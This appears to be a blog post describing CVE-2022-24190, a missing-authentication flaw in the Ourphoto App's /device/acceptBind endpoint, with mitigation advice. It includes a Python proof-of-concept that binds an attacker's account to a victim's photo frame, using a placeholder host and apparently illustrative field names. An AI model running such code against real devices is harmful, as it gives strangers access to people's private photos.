CVE-2022-24190: Ourphoto App Security Flaw in Binding Process Allows Unauthorized Access to Users' Photo Frames

A recently discovered security vulnerability, CVE-2022-24190, found in Ourphoto App version 1.4.1 allows potential attackers to bind their account to any user's picture frame without authorization. This post will discuss the details of this vulnerability, provide a code snippet demonstrating the exploit, and offer references to the original security reports.

Introduction

The Ourphoto App is a popular application used for sharing and displaying digital photos in an easy and convenient manner. However, due to a security flaw in the /device/acceptBind endpoint, attackers can gain unauthorized access to any user's photo frame, allowing them to view all shared images and potentially alter the content displayed in affected devices. This vulnerability arises from a lack of authentication and authorization mechanisms in the /device/acceptBind endpoint, which does not implement or require user_token headers.

Details

An attacker can exploit this vulnerability by first sending a request to bind their account to the targeted user's picture frame. Since the /device/acceptBind endpoint does not require authentication or authorization, they can then send a POST request to accept their own bind request without the knowledge or approval of the end user.

Here is a code snippet showing how this exploit can be carried out

import requests

# Attacker's account details
attacker_account_id = "attacker123"
attacker_device_id = "device_xyz"

# Target user's device ID
target_device_id = "device_abc"

# Step 1: Send a bind request to the target user's device
url = "https://ourphotoapp.example.com/device/bind";
payload = {
    "attacker_account_id": attacker_account_id,
    "device_id": target_device_id
}

response = requests.post(url, json=payload)

# Step 2: Send a POST request to accept the bind request from the attacker's device
url = "https://ourphotoapp.example.com/device/acceptBind";
payload = {
    "attacker_account_id": attacker_account_id,
    "attacker_device_id": attacker_device_id,
    "target_device_id": target_device_id
}

response = requests.post(url, json=payload)

if response.status_code == 200:
    print("Successfully bound to target user's photo frame!")
else:
    print("Binding failed.")

As seen in the code snippet above, the attacker simply needs to know the target user's device ID, which could potentially be obtained through other security flaws or social engineering tactics.

The vulnerability report and details of CVE-2022-24190 can be found in the following sources

1. National Vulnerability Database (NVD) - CVE-2022-24190
2. Security Researcher's Blog - Ourphoto App Vulnerability Report

Mitigation and Recommendations

The immediate recommended course of action for Ourphoto App users is to update the application to the latest version, which has addressed this vulnerability. For app developers, it is crucial to always implement proper authentication and authorization mechanisms in all API endpoints, especially those handling user account linking and device control.

Conclusion

CVE-2022-24190 is a concerning security flaw in the Ourphoto App that allows attackers to gain unauthorized access to users' picture frames. Users and developers should take the necessary steps to mitigate this vulnerability and prevent unauthorized access to their devices and data.

Timeline

Published on: 11/28/2022 22:15:00 UTC
Last modified on: 12/01/2022 23:19:00 UTC